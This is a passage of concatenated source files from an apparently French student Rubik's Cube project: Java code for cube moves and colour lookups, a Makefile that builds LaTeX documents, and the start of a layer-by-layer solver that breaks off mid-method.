{
return lesCubies.get(lesPositions.indexOf(laPosition));
}
/**méthode permettant d'effectuer un mouvement élémentaire sur le cube
*@param mvtE le Mouvement Élémentaire à effectuer
*/
public void effectuerMouvementElementaire(MouvementElementaire mvtE)
{
switch(mvtE){
case U:
effectuerMouvementElementaireU();
break;
case D:
effectuerMouvementElementaireD();
break;
case R:
effectuerMouvementElementaireR();
break;
case L:
effectuerMouvementElementaireL();
break;
case F:
effectuerMouvementElementaireF();
break;
case B:
effectuerMouvementElementaireB();
break;
case x:
effectuerMouvementElementaireX();
break;
case y:
effectuerMouvementElementaireY();
break;
case z:
effectuerMouvementElementaireZ();
break;
case M:
effectuerMouvementElementaireM();
break;
case S:
effectuerMouvementElementaireS();
break;
case E:
effectuerMouvementElementaireE();
break;
case U2:
effectuerMouvementElementaireU();
effectuerMouvementElementaireU();
break;
case D2:
effectuerMouvementElementaireD();
effectuerMouvementElementaireD();
break;
case R2:
effectuerMouvementElementaireR();
effectuerMouvementElementaireR();
break;
case L2:
effectuerMouvementElementaireL();
effectuerMouvementElementaireL();
break;
case F2:
effectuerMouvementElementaireF();
effectuerMouvementElementaireF();
break;
case B2:
effectuerMouvementElementaireB();
effectuerMouvementElementaireB();
break;
case x2:
effectuerMouvementElementaireX();
effectuerMouvementElementaireX();
break;
case y2:
effectuerMouvementElementaireY();
effectuerMouvementElementaireY();
break;
case z2:
effectuerMouvementElementaireZ();
effectuerMouvementElementaireZ();
break;
case M2:
effectuerMouvementElementaireM();
effectuerMouvementElementaireM();
break;
case S2:
effectuerMouvementElementaireS();
effectuerMouvementElementaireS();
break;
case E2:
effectuerMouvementElementaireE();
effectuerMouvementElementaireE();
break;
case xp:
effectuerMouvementElementaireX();
effectuerMouvementElementaireX();
effectuerMouvementElementaireX();
break;
case yp:
effectuerMouvementElementaireY();
effectuerMouvementElementaireY();
effectuerMouvementElementaireY();
break;
case zp:
effectuerMouvementElementaireZ();
effectuerMouvementElementaireZ();
effectuerMouvementElementaireZ();
break;
case Mp:
effectuerMouvementElementaireM();
effectuerMouvementElementaireM();
effectuerMouvementElementaireM();
break;
case Sp:
effectuerMouvementElementaireS();
effectuerMouvementElementaireS();
effectuerMouvementElementaireS();
break;
case Ep:
effectuerMouvementElementaireE();
effectuerMouvementElementaireE();
effectuerMouvementElementaireE();
break;
case Rp:
{
effectuerMouvementElementaireR();
effectuerMouvementElementaireR();
effectuerMouvementElementaireR();
}
break;
case Lp:
{
effectuerMouvementElementaireL();
effectuerMouvementElementaireL();
effectuerMouvementElementaireL();
}
break;
case Up:
{
effectuerMouvementElementaireU();
effectuerMouvementElementaireU();
effectuerMouvementElementaireU();
}
break;
case Dp:
{
effectuerMouvementElementaireD();
effectuerMouvementElementaireD();
effectuerMouvementElementaireD();
}
break;
case Fp:
{
effectuerMouvementElementaireF();
effectuerMouvementElementaireF();
effectuerMouvementElementaireF();
}
break;
case Bp:
{
effectuerMouvementElementaireB();
effectuerMouvementElementaireB();
effectuerMouvementElementaireB();
}
break;
case r:
{
effectuerMouvementElementaireM();
effectuerMouvementElementaireM();
effectuerMouvementElementaireM();
effectuerMouvementElementaireR();
}
break;
case r2:
{
effectuerMouvementElementaireM();
effectuerMouvementElementaireM();
effectuerMouvementElementaireR();
effectuerMouvementElementaireR();
}
break;
case rp:
{
effectuerMouvementElementaireM();
effectuerMouvementElementaireR();
effectuerMouvementElementaireR();
effectuerMouvementElementaireR();
}
break;
case l:
{
effectuerMouvementElementaireL();
effectuerMouvementElementaireM();
}
break;
case l2:
{
effectuerMouvementElementaireL();
effectuerMouvementElementaireL();
effectuerMouvementElementaireM();
effectuerMouvementElementaireM();
}
break;
case lp:
{
effectuerMouvementElementaireL();
effectuerMouvementElementaireL();
effectuerMouvementElementaireL();
effectuerMouvementElementaireM();
effectuerMouvementElementaireM();
effectuerMouvementElementaireM();
}
break;
case f:
{
effectuerMouvementElementaireF();
effectuerMouvementElementaireS();
}
break;
case f2:
{
effectuerMouvementElementaireF();
effectuerMouvementElementaireS();
effectuerMouvementElementaireF();
effectuerMouvementElementaireS();
}
break;
case fp:
{
effectuerMouvementElementaireF();
effectuerMouvementElementaireS();
effectuerMouvementElementaireF();
effectuerMouvementElementaireS();
effectuerMouvementElementaireF();
effectuerMouvementElementaireS();
}
break;
case b:
{
effectuerMouvementElementaireB();
effectuerMouvementElementaireS();
effectuerMouvementElementaireS();
effectuerMouvementElementaireS();
}
break;
case b2:
{
effectuerMouvementElementaireB();
effectuerMouvementElementaireB();
effectuerMouvementElementaireS();
effectuerMouvementElementaireS();
}
break;
case bp:
{
effectuerMouvementElementaireB();
effectuerMouvementElementaireB();
effectuerMouvementElementaireB();
effectuerMouvementElementaireS();
}
break;
case u:
{
effectuerMouvementElementaireU();
effectuerMouvementElementaireE();
effectuerMouvementElementaireE();
effectuerMouvementElementaireE();
}
break;
case u2:
{
effectuerMouvementElementaireU();
effectuerMouvementElementaireU();
effectuerMouvementElementaireE();
effectuerMouvementElementaireE();
}
break;
case up:
{
effectuerMouvementElementaireU();
effectuerMouvementElementaireU();
effectuerMouvementElementaireU();
effectuerMouvementElementaireE();
}
break;
case d:
{
effectuerMouvementElementaireD();
effectuerMouvementElementaireE();
}
break;
case d2:
{
effectuerMouvementElementaireD();
effectuerMouvementElementaireE();
effectuerMouvementElementaireD();
effectuerMouvementElementaireE();
}
break;
case dp:
{
effectuerMouvementElementaireD();
effectuerMouvementElementaireE();
effectuerMouvementElementaireD();
effectuerMouvementElementaireE();
effectuerMouvementElementaireD();
effectuerMouvementElementaireE();
}
break;
}
}
/**
* Effectue le mouvement élémentaire U sur le Cube
*/
private void effectuerMouvementElementaireU()
{
Cubie leCubieTmp;
lesCubies.get(8).effectuerUD();
lesCubies.get(26).effectuerUD();
lesCubies.get(24).effectuerUD();
lesCubies.get(6).effectuerUD();
lesCubies.get(15).effectuerUD();
lesCubies.get(7).effectuerUD();
lesCubies.get(17).effectuerUD();
lesCubies.get(25).effectuerUD();
leCubieTmp=lesCubies.get(6);
lesCubies.set(6,lesCubies.get(8));
lesCubies.set(8,lesCubies.get(26));
lesCubies.set(26,lesCubies.get(24));
lesCubies.set(24,leCubieTmp);
leCubieTmp=lesCubies.get(15);
lesCubies.set(15,lesCubies.get(7));
lesCubies.set(7,lesCubies.get(17));
lesCubies.set(17,lesCubies.get(25));
lesCubies.set(25,leCubieTmp);
}
/**
* Effectue le mouvement élémentaire D sur le Cube
*/
private void effectuerMouvementElementaireD()
{
Cubie leCubieTmp;
lesCubies.get(18).effectuerUD();
lesCubies.get(20).effectuerUD();
lesCubies.get(2).effectuerUD();
lesCubies.get(0).effectuerUD();
lesCubies.get(1).effectuerUD();
lesCubies.get(9).effectuerUD();
lesCubies.get(19).effectuerUD();
lesCubies.get(11).effectuerUD();
leCubieTmp=lesCubies.get(18);
lesCubies.set(18,lesCubies.get(20));
lesCubies.set(20,lesCubies.get(2));
lesCubies.set(2,lesCubies.get(0));
lesCubies.set(0,leCubieTmp);
leCubieTmp=lesCubies.get(1);
lesCubies.set(1,lesCubies.get(9));
lesCubies.set(9,lesCubies.get(19));
lesCubies.set(19,lesCubies.get(11));
lesCubies.set(11,leCubieTmp);
}
/**
* Effectue le mouvement élémentaire R sur le Cube
*/
private void effectuerMouvementElementaireR()
{
Cubie leCubieTmp;
lesCubies.get(18).effectuerLR();
lesCubies.get(24).effectuerLR();
lesCubies.get(26).effectuerLR();
lesCubies.get(20).effectuerLR();
lesCubies.get(19).effectuerLR();
lesCubies.get(21).effectuerLR();
lesCubies.get(25).effectuerLR();
lesCubies.get(23).effectuerLR();
leCubieTmp=lesCubies.get(18);
lesCubies.set(18,lesCubies.get(24));
lesCubies.set(24,lesCubies.get(26));
lesCubies.set(26,lesCubies.get(20));
lesCubies.set(20,leCubieTmp);
leCubieTmp=lesCubies.get(19);
lesCubies.set(19,lesCubies.get(21));
lesCubies.set(21,lesCubies.get(25));
lesCubies.set(25,lesCubies.get(23));
lesCubies.set(23,leCubieTmp);
}
/**
* Effectue le mouvement élémentaire L sur le Cube
*/
private void effectuerMouvementElementaireL()
{
Cubie leCubieTmp;
lesCubies.get(0).effectuerLR();
lesCubies.get(6).effectuerLR();
lesCubies.get(8).effectuerLR();
lesCubies.get(2).effectuerLR();
lesCubies.get(1).effectuerLR();
lesCubies.get(3).effectuerLR();
lesCubies.get(7).effectuerLR();
lesCubies.get(5).effectuerLR();
leCubieTmp=lesCubies.get(0);
lesCubies.set(0,lesCubies.get(2));
lesCubies.set(2,lesCubies.get(8));
lesCubies.set(8,lesCubies.get(6));
lesCubies.set(6,leCubieTmp);
leCubieTmp=lesCubies.get(1);
lesCubies.set(1,lesCubies.get(5));
lesCubies.set(5,lesCubies.get(7));
lesCubies.set(7,lesCubies.get(3));
lesCubies.set(3,leCubieTmp);
}
/**
* Effectue le mouvement élémentaire F sur le Cube
*/
private void effectuerMouvementElementaireF()
{
Cubie leCubieTmp;
lesCubies.get(8).effectuerFB();
lesCubies.get(2).effectuerFB();
lesCubies.get(20).effectuerFB();
lesCubies.get(26).effectuerFB();
lesCubies.get(5).effectuerFB();
lesCubies.get(11).effectuerFB();
lesCubies.get(23).effectuerFB();
lesCubies.get(17).effectuerFB();
leCubieTmp=lesCubies.get(8);
lesCubies.set(8,lesCubies.get(2));
lesCubies.set(2,lesCubies.get(20));
lesCubies.set(20,lesCubies.get(26));
lesCubies.set(26,leCubieTmp);
leCubieTmp=lesCubies.get(5);
lesCubies.set(5,lesCubies.get(11));
lesCubies.set(11,lesCubies.get(23));
lesCubies.set(23,lesCubies.get(17));
lesCubies.set(17,leCubieTmp);
}
/**
* Effectue le mouvement élémentaire U sur le Cube
*/
private void effectuerMouvementElementaireB()
{
Cubie leCubieTmp;
lesCubies.get(0).effectuerFB();
lesCubies.get(6).effectuerFB();
lesCubies.get(24).effectuerFB();
lesCubies.get(18).effectuerFB();
lesCubies.get(3).effectuerFB();
lesCubies.get(15).effectuerFB();
lesCubies.get(21).effectuerFB();
lesCubies.get(9).effectuerFB();
leCubieTmp=lesCubies.get(0);
lesCubies.set(0,lesCubies.get(6));
lesCubies.set(6,lesCubies.get(24));
lesCubies.set(24,lesCubies.get(18));
lesCubies.set(18,leCubieTmp);
leCubieTmp=lesCubies.get(3);
lesCubies.set(3,lesCubies.get(15));
lesCubies.set(15,lesCubies.get(21));
lesCubies.set(21,lesCubies.get(9));
lesCubies.set(9,leCubieTmp);
}
/**
* Effectue le mouvement élémentaire M sur le Cube
*/
private void effectuerMouvementElementaireM()
{
Cubie leCubieTmp;
lesCubies.get(9).effectuerLR();
lesCubies.get(11).effectuerLR();
lesCubies.get(15).effectuerLR();
lesCubies.get(17).effectuerLR();
lesCubies.get(10).effectuerLR();
lesCubies.get(12).effectuerLR();
lesCubies.get(14).effectuerLR();
lesCubies.get(16).effectuerLR();
leCubieTmp=lesCubies.get(9);
lesCubies.set(9,lesCubies.get(11));
lesCubies.set(11,lesCubies.get(17));
lesCubies.set(17,lesCubies.get(15));
lesCubies.set(15,leCubieTmp);
leCubieTmp=lesCubies.get(10);
lesCubies.set(10,lesCubies.get(14));
lesCubies.set(14,lesCubies.get(16));
lesCubies.set(16,lesCubies.get(12));
lesCubies.set(12,leCubieTmp);
}
/**
* Effectue le mouvement élémentaire S sur le Cube
*/
private void effectuerMouvementElementaireS()
{
Cubie leCubieTmp;
lesCubies.get(1).effectuerFB();
lesCubies.get(19).effectuerFB();
lesCubies.get(25).effectuerFB();
lesCubies.get(7).effectuerFB();
lesCubies.get(4).effectuerFB();
lesCubies.get(10).effectuerFB();
lesCubies.get(22).effectuerFB();
lesCubies.get(16).effectuerFB();
leCubieTmp=lesCubies.get(1);
lesCubies.set(1,lesCubies.get(19));
lesCubies.set(19,lesCubies.get(25));
lesCubies.set(25,lesCubies.get(7));
lesCubies.set(7,leCubieTmp);
leCubieTmp=lesCubies.get(4);
lesCubies.set(4,lesCubies.get(10));
lesCubies.set(10,lesCubies.get(22));
lesCubies.set(22,lesCubies.get(16));
lesCubies.set(16,leCubieTmp);
}
/**
* Effectue le mouvement élémentaire E sur le Cube
*/
private void effectuerMouvementElementaireE()
{
Cubie leCubieTmp;
lesCubies.get(3).effectuerUD();
lesCubies.get(5).effectuerUD();
lesCubies.get(23).effectuerUD();
lesCubies.get(21).effectuerUD();
lesCubies.get(4).effectuerUD();
lesCubies.get(14).effectuerUD();
lesCubies.get(22).effectuerUD();
lesCubies.get(12).effectuerUD();
leCubieTmp=lesCubies.get(3);
lesCubies.set(3,lesCubies.get(21));
lesCubies.set(21,lesCubies.get(23));
lesCubies.set(23,lesCubies.get(5));
lesCubies.set(5,leCubieTmp);
leCubieTmp=lesCubies.get(4);
lesCubies.set(4,lesCubies.get(12));
lesCubies.set(12,lesCubies.get(22));
lesCubies.set(22,lesCubies.get(14));
lesCubies.set(14,leCubieTmp);
}
/**
* Effectue le mouvement élémentaire X sur le Cube
*/
private void effectuerMouvementElementaireX()
{
effectuerMouvementElementaireR();
effectuerMouvementElementaireL();
effectuerMouvementElementaireL();
effectuerMouvementElementaireL();
effectuerMouvementElementaireM();
effectuerMouvementElementaireM();
effectuerMouvementElementaireM();
}
/**
* Effectue le mouvement élémentaire Y sur le Cube
*/
private void effectuerMouvementElementaireY()
{
effectuerMouvementElementaireU();
effectuerMouvementElementaireD();
effectuerMouvementElementaireD();
effectuerMouvementElementaireD();
effectuerMouvementElementaireE();
effectuerMouvementElementaireE();
effectuerMouvementElementaireE();
}
/**
* Effectue le mouvement élémentaire Z sur le Cube
*/
private void effectuerMouvementElementaireZ()
{
effectuerMouvementElementaireF();
effectuerMouvementElementaireS();
effectuerMouvementElementaireB();
effectuerMouvementElementaireB();
effectuerMouvementElementaireB();
}
/**
* Méthode permettant de trouver la position d'un Cubie sur le Cube
*@param leCubie, le Cubie à retrouver
*@return la Position trouvée
*/
private Position obtenirPosition(Cubie leCubie)
{
return lesPositions.get(lesCubies.indexOf(leCubie));
}
/**
* Méthode permettant de retrouver une Position à partir de 3 couleurs
*@param clr1 la première couleur
*@param clr2 la deuxième couleur
*@param clr3 la troisième couleur
*@return la Position trouvée
*/
public Position obtenirPosition(Couleur clr1,Couleur clr2,Couleur clr3)throws CubeException
{
boolean trouve=false;
Cubie leCubie=null;
Iterator<Cubie> i=lesCubies.iterator();
while(!trouve&&i.hasNext())
{
leCubie=i.next();
if((leCubie.obtenirCouleurFB().equals(clr1)&&leCubie.obtenirCouleurLR().equals(clr2)&&leCubie.obtenirCouleurUD().equals(clr3))||
(leCubie.obtenirCouleurFB().equals(clr1)&&leCubie.obtenirCouleurLR().equals(clr3)&&leCubie.obtenirCouleurUD().equals(clr2))||
(leCubie.obtenirCouleurFB().equals(clr2)&&leCubie.obtenirCouleurLR().equals(clr1)&&leCubie.obtenirCouleurUD().equals(clr3))||
(leCubie.obtenirCouleurFB().equals(clr2)&&leCubie.obtenirCouleurLR().equals(clr3)&&leCubie.obtenirCouleurUD().equals(clr1))||
(leCubie.obtenirCouleurFB().equals(clr3)&&leCubie.obtenirCouleurLR().equals(clr1)&&leCubie.obtenirCouleurUD().equals(clr2))||
(leCubie.obtenirCouleurFB().equals(clr3)&&leCubie.obtenirCouleurLR().equals(clr2)&&leCubie.obtenirCouleurUD().equals(clr1)))
{
trouve=true;
}
}
if(!trouve)
{
throw new CubeException("couleurs non trouvées sur le cube");
}
return obtenirPosition(leCubie);
}
/**
* Retourne l'orientation de la couleur d'un cubie qui se situe à une position donnée
*@param laPosition position du cubie considéré
*@param laCouleur couleur du cubie dont on veut connaître l'orientation
*@return l'orientation de cette couleur
*/
public Orientation obtenirOrientationDUnePositionCouleur(Position laPosition,Couleur laCouleur)throws CubeException
{
int index;
Iterator i=lesPositions.iterator();
Position laPositionTrouve=null;
boolean trouve=false;
Orientation lOrientation=null;
while(!trouve&&i.hasNext())
{
laPositionTrouve=(Position)i.next();
if(laPositionTrouve.equals(laPosition))
trouve=true;
}
Cubie leCubie=lesCubies.get(lesPositions.indexOf(laPositionTrouve));
if(leCubie.obtenirCouleurUD().equals(laCouleur))
if(laPosition.obtenirZ()==1)
lOrientation=Orientation.D;
else
lOrientation=Orientation.U;
else if(leCubie.obtenirCouleurLR().equals(laCouleur))
if(laPosition.obtenirY()==1)
lOrientation=Orientation.L;
else
lOrientation=Orientation.R;
else if(leCubie.obtenirCouleurFB().equals(laCouleur))
if(laPosition.obtenirX()==1)
lOrientation=Orientation.B;
else
lOrientation=Orientation.F;
else
throw new CubeException("la couleur n'est pas trouvée à la position donnée.");
return lOrientation;
}
/**
* Retourne la couleur qui se trouve dans une position donné à une orientation donnée
*@param laPosition position à laquelle on veut trouver la couleur recherchée
*@param lOrientation orientation à laquelle on veut trouver la couleur recherchée
*@return la Couleur à la Position et à l'Orientation considérées
*/
public Couleur obtenirCouleurDUnePositionOrientation(Position laPosition,Orientation lOrientation)
{
int index;
Iterator i=lesPositions.iterator();
Position laPositionTrouve=null;
boolean trouve=false;
Couleur laCouleurTrouve=null;
while(!trouve&&i.hasNext())
{
laPositionTrouve=(Position)i.next();
if(laPositionTrouve.equals(laPosition))
trouve=true;
};
if(lOrientation==Orientation.U||lOrientation==Orientation.D)
laCouleurTrouve=lesCubies.get(lesPositions.indexOf(laPositionTrouve)).obtenirCouleurUD();
if(lOrientation==Orientation.F||lOrientation==Orientation.B)
laCouleurTrouve=lesCubies.get(lesPositions.indexOf(laPositionTrouve)).obtenirCouleurFB();
if(lOrientation==Orientation.R||lOrientation==Orientation.L)
laCouleurTrouve=lesCubies.get(lesPositions.indexOf(laPositionTrouve)).obtenirCouleurLR();
return laCouleurTrouve;
}
/**
* Méthode permettant de recréer les faces du cube
*@return une Collection des Faces du cube.
*/
public Collection<Face> toFace()
{
Face faceU;
Face faceD;
Face faceR;
Face faceL;
Face faceF;
Face faceB;
faceU=new Face(lesCubies.get(6).obtenirCouleurUD(),
lesCubies.get(15).obtenirCouleurUD(),
lesCubies.get(24).obtenirCouleurUD(),
lesCubies.get(7).obtenirCouleurUD(),
lesCubies.get(16).obtenirCouleurUD(),
lesCubies.get(25).obtenirCouleurUD(),
lesCubies.get(8).obtenirCouleurUD(),
lesCubies.get(17).obtenirCouleurUD(),
lesCubies.get(26).obtenirCouleurUD());
faceD=new Face(lesCubies.get(2).obtenirCouleurUD(),
lesCubies.get(11).obtenirCouleurUD(),
lesCubies.get(20).obtenirCouleurUD(),
lesCubies.get(1).obtenirCouleurUD(),
lesCubies.get(10).obtenirCouleurUD(),
lesCubies.get(19).obtenirCouleurUD(),
lesCubies.get(0).obtenirCouleurUD(),
lesCubies.get(9).obtenirCouleurUD(),
lesCubies.get(18).obtenirCouleurUD());
faceR=new Face(lesCubies.get(26).obtenirCouleurLR(),
lesCubies.get(25).obtenirCouleurLR(),
lesCubies.get(24).obtenirCouleurLR(),
lesCubies.get(23).obtenirCouleurLR(),
lesCubies.get(22).obtenirCouleurLR(),
lesCubies.get(21).obtenirCouleurLR(),
lesCubies.get(20).obtenirCouleurLR(),
lesCubies.get(19).obtenirCouleurLR(),
lesCubies.get(18).obtenirCouleurLR());
faceL=new Face(lesCubies.get(6).obtenirCouleurLR(),
lesCubies.get(7).obtenirCouleurLR(),
lesCubies.get(8).obtenirCouleurLR(),
lesCubies.get(3).obtenirCouleurLR(),
lesCubies.get(4).obtenirCouleurLR(),
lesCubies.get(5).obtenirCouleurLR(),
lesCubies.get(0).obtenirCouleurLR(),
lesCubies.get(1).obtenirCouleurLR(),
lesCubies.get(2).obtenirCouleurLR());
faceF=new Face(lesCubies.get(8).obtenirCouleurFB(),
lesCubies.get(17).obtenirCouleurFB(),
lesCubies.get(26).obtenirCouleurFB(),
lesCubies.get(5).obtenirCouleurFB(),
lesCubies.get(14).obtenirCouleurFB(),
lesCubies.get(23).obtenirCouleurFB(),
lesCubies.get(2).obtenirCouleurFB(),
lesCubies.get(11).obtenirCouleurFB(),
lesCubies.get(20).obtenirCouleurFB());
faceB=new Face(lesCubies.get(24).obtenirCouleurFB(),
lesCubies.get(15).obtenirCouleurFB(),
lesCubies.get(6).obtenirCouleurFB(),
lesCubies.get(21).obtenirCouleurFB(),
lesCubies.get(12).obtenirCouleurFB(),
lesCubies.get(3).obtenirCouleurFB(),
lesCubies.get(18).obtenirCouleurFB(),
lesCubies.get(9).obtenirCouleurFB(),
lesCubies.get(0).obtenirCouleurFB());
ArrayList<Face> lesFaces=new ArrayList<Face>(6);
lesFaces.add(faceU);
lesFaces.add(faceD);
lesFaces.add(faceR);
lesFaces.add(faceL);
lesFaces.add(faceF);
lesFaces.add(faceB);
return lesFaces;
}
/**
* Redéfinition de la méthode toString() héritée de la classe mère Object
*@return une String contenant les informations associées au Cube
*/
public String toString()
{
StringBuilder str=new StringBuilder();
ArrayList<Face> lesFaces=(ArrayList<Face>)toFace();
String str2=" ";
String[] laFaceU=lesFaces.get(0).toString().split("\n");
for(String i:laFaceU)
{
str.append(str2);
str.append(i);
str.append("\n");
}
String[] laFaceR=lesFaces.get(2).toString().split("\n");
String[] laFaceL=lesFaces.get(3).toString().split("\n");
String[] laFaceF=lesFaces.get(4).toString().split("\n");
String[] laFaceB=lesFaces.get(5).toString().split("\n");
for(int i=0;i<=4;i++)
{
str.append(laFaceL[i]);
str.append(" ");
str.append(laFaceF[i]);
str.append(" ");
str.append(laFaceR[i]);
str.append(" ");
str.append(laFaceB[i]);
str.append("\n");
}
String[] laFaceD=lesFaces.get(1).toString().split("\n");
for(String i:laFaceD)
{
str.append(str2);
str.append(i);
str.append("\n");
}
return str.toString();
}
}
<file_sep>include makevars
##################
# make section
#
all: subdirsall | $(TARGET)
$(POSTMAKE)
subdirsall:
for dir in $(SUBDIRS); do\
make -C $$dir all;\
done
.SUFFIXES : .pdf\
.eps\
.tex\
.fig\
.dia
.eps.pdf:
epstopdf $*.eps
.fig.pdf:
fig2dev -L pdf $*.fig $*.pdf
.dia.eps:
dia --export=$*.eps --filter=eps-pango $*.dia
.tex.pdf:
TEXINPUTS=$$TEXINPUTS:$(CLSPATH);\
export TEXINPUTS;\
pdflatex $*.tex;\
pdflatex $*.tex;
##################
# Clean section
#
cleanall: clean subdirscleanall
rm -f *.pdf;\
rm -f $(TARGET);\
$(POSTCLEANALL)
subdirscleanall:
for dir in $(SUBDIRS); do\
make -C $$dir cleanall;\
done
clean: subdirsclean
rm -f *.aux
rm -f *.cb
rm -f *.cb2
rm -f *.log
rm -f *.out
rm -f *.toc
rm -f *~
rm -f *.backup
subdirsclean:
for dir in $(SUBDIRS); do\
make -C $$dir clean;\
done
<file_sep>package cube.resolution;
import cube.*;
import org.xml.sax.SAXException;
import java.io.IOException;
/**
*classe EasyResolution
*@author Groupe ECAO Rubik's Cube : Pierre_Bienaime Bastien_Bonnet Mathieu_Chataigner <NAME>.
*/
public class EasyResolution implements ResolutionDuCube
{
/* Attributs */
private Cube cube;
private Algorithme solution;
/* private static final Couleur COULEUR_U = Couleur.JAUNE;
private static final Couleur COULEUR_D = Couleur.BLANC;
private static final Couleur COULEUR_L = Couleur.VERT;
private static final Couleur COULEUR_R = Couleur.BLEU;
private static final Couleur COULEUR_F = Couleur.ORANGE;
private static final Couleur COULEUR_B = Couleur.ROUGE;
*/
private Couleur COULEUR_U;
private Couleur COULEUR_D;
private Couleur COULEUR_L;
private Couleur COULEUR_R;
private Couleur COULEUR_F;
private Couleur COULEUR_B;
private BaseAlgorithmes baseAlgo;
/* Constructeur */
/**
* Construit une EasyResolution
*@param _cube le Cube à résoudre
*/
public EasyResolution(Cube _cube)
{
this.cube = _cube;
solution = new Algorithme();
try
{
COULEUR_U = cube.obtenirCouleurDUnePositionOrientation(new Position(2,2,3),Orientation.U);
COULEUR_D = cube.obtenirCouleurDUnePositionOrientation(new Position(2,2,1),Orientation.D);
COULEUR_L = cube.obtenirCouleurDUnePositionOrientation(new Position(2,1,2),Orientation.L);
COULEUR_R = cube.obtenirCouleurDUnePositionOrientation(new Position(2,3,2),Orientation.R);
COULEUR_F = cube.obtenirCouleurDUnePositionOrientation(new Position(3,2,2),Orientation.F);
COULEUR_B = cube.obtenirCouleurDUnePositionOrientation(new Position(1,2,2),Orientation.B);
baseAlgo=new BaseAlgorithmes("src/xml/algo.xml");
}
catch(CubeException e)
{
System.err.println("Initialisation des couleurs du cube impossible");
e.printStackTrace();
}
catch(SAXException e)
{
System.err.println("Initialisation des couleurs du cube impossible");
e.printStackTrace();
}
catch(IOException e)
{
System.err.println("Initialisation des couleurs du cube impossible");
e.printStackTrace();
}
}
/* Méthodes */
/**
* Retourne la solution qui résout le Cube sous forme d'Algorithme
*@return l'Algorithme contenant la solution
*/
public Algorithme trouverSolution() throws CubeException
{
resoudrePremiereCouronne();
resoudreDeuxiemeCouronne();
resoudreTroisiemeCouronne();
return this.solution;
}
/**
* Résout la première couronne du Cube
*/
private void resoudrePremiereCouronne() throws CubeException
{
resoudreCroix();
resoudreCorners();
}
/**
* Résout la deuxième couronne du Cube
*/
private void resoudreDeuxiemeCouronne() throws CubeException
{
Algorithme rotation = new Algorithme("y");
for(int i=1;i<=4;i++)
{
placerBelge(repererBelge());
this.solution.concatenerAlgorithmes(rotation);
rotation.executerSurCube(this.cube);
}
//System.err.println(this.solution);
}
/**
* Résout la troisième couronne du Cube
*/
private void resoudreTroisiemeCouronne() throws PositionNonValideException
{
Algorithme setupFinal=null;
while(repererTypeOrientation()!=TypeOrientation.RESOLUE)
{
resoudreOrientation(repererTypeOrientation());
}
while(repererTypePermutation()!=TypePermutation.RESOLUE)
{
resoudrePermutation(repererTypePermutation());
}
while(cube.obtenirCouleurDUnePositionOrientation(new Position (3,2,3), Orientation.F) != COULEUR_F)
{
if(setupFinal == null)
setupFinal=new Algorithme("U");
else
setupFinal.concatenerAlgorithmes(new Algorithme("U"));
this.solution.concatenerAlgorithmes(setupFinal);
setupFinal.executerSurCube(this.cube);
}
}
/**
* Permet d'obtenir la croix, première étape de la résolution
*/
private void resoudreCroix() throws CubeException
{
Algorithme rotation = new Algorithme("y");
for(int i=1;i<=4;i++)
{
placerEdge(repererEdge());
this.solution.concatenerAlgorithmes(rotation);
rotation.executerSurCube(this.cube);
}
}
/**
* Repère un edge sur le Cube, et retourne sa position
*@return La position de l'edge sur le Cube
*/
private Position repererEdge() throws CubeException
{
return cube.obtenirPosition(COULEUR_D,cube.obtenirCouleurDUnePositionOrientation(new Position(3,2,2),Orientation.F),Couleur.AUCUNE);
}
/**
* Place un edge qui se trouve à une position donnée à sa place correcte
*@return La Position de l'edge sur le cube avant placement
*/
private void placerEdge(Position position) throws CubeException
{
Algorithme algoEdge1=null;
Algorithme algoEdge2=null;
boolean estUnCasSimple = false;
if(position.obtenirZ()==1)
{
if(position.obtenirX()==2 && position.obtenirY()==3)
{
algoEdge1 = new Algorithme("R R U");
}
else if(position.obtenirX()==1 && position.obtenirY()==2)
{
algoEdge1 = new Algorithme("B B U U");
}
else if(position.obtenirX()==2 && position.obtenirY()==1)
{
algoEdge1 = new Algorithme("L L Up");
}
else
{
if(cube.obtenirOrientationDUnePositionCouleur(new Position(3,2,1),COULEUR_D) == Orientation.D)
estUnCasSimple = true;
else
algoEdge1 = new Algorithme("F F");
}
}
else if(position.obtenirZ()==2)
{
if(position.obtenirX()==3 && position.obtenirY()==3)
{
if(cube.obtenirOrientationDUnePositionCouleur(new Position(3,3,2),COULEUR_D) == Orientation.R)
{
estUnCasSimple = true;
algoEdge1 = new Algorithme("F");
this.solution.concatenerAlgorithmes(algoEdge1);
algoEdge1.executerSurCube(this.cube);
}
algoEdge1 = new Algorithme("Fp");
}
else if(position.obtenirX()==1 && position.obtenirY()==3)
{
algoEdge1 = new Algorithme("Rp U R");
}
else if(position.obtenirX()==1 && position.obtenirY()==1)
{
algoEdge1 = new Algorithme("L Up Lp");
}
else
{
if(cube.obtenirOrientationDUnePositionCouleur(new Position(3,1,2),COULEUR_D) == Orientation.L)
{
estUnCasSimple = true;
algoEdge1 = new Algorithme("Fp");
this.solution.concatenerAlgorithmes(algoEdge1);
algoEdge1.executerSurCube(this.cube);
}
else
algoEdge1 = new Algorithme("F");
}
}
else
{
if(position.obtenirX()==2 && position.obtenirY()==3)
{
algoEdge1 = new Algorithme("U");
}
else if(position.obtenirX()==1 && position.obtenirY()==2)
{
algoEdge1 = new Algorithme("U U");
}
else if(position.obtenirX()==2 && position.obtenirY()==1)
{
algoEdge1 = new Algorithme("Up");
}
}
if(estUnCasSimple == false)
{
if(algoEdge1!=null)
{
this.solution.concatenerAlgorithmes(algoEdge1);
algoEdge1.executerSurCube(this.cube);
}
/* L'edge est maintenant placé à la position 2,3,3 */
Orientation orientationEdge = cube.obtenirOrientationDUnePositionCouleur(new Position(3,2,3),COULEUR_D);
if(orientationEdge == Orientation.U)
{
algoEdge2= new Algorithme("F F");
}
else
{
algoEdge2= new Algorithme("Up Rp F R");
}
this.solution.concatenerAlgorithmes(algoEdge2);
algoEdge2.executerSurCube(this.cube);
}
}
/**
* Résout les corners de la première couronne successivement
*/
private void resoudreCorners() throws CubeException
{
Algorithme rotation = new Algorithme("y");
for(int i=1;i<=4;i++)
{
placerCorner(repererCorner());
this.solution.concatenerAlgorithmes(rotation);
rotation.executerSurCube(this.cube);
}
}
/**
* Repère un corner à placer pour la première couronne
*@return La Position à laquelle se trouve le Corner trouvé
*/
private Position repererCorner() throws CubeException
{
return cube.obtenirPosition(COULEUR_D,cube.obtenirCouleurDUnePositionOrientation(new Position(3,2,2),Orientation.F),cube.obtenirCouleurDUnePositionOrientation(new Position(2,3,2),Orientation.R));
}
/**
* Place un Corner qui se trouve à une Position donnée
*/
private void placerCorner(Position position) throws CubeException
{
Algorithme algoCorner1=null;
Algorithme algoCorner2=null;
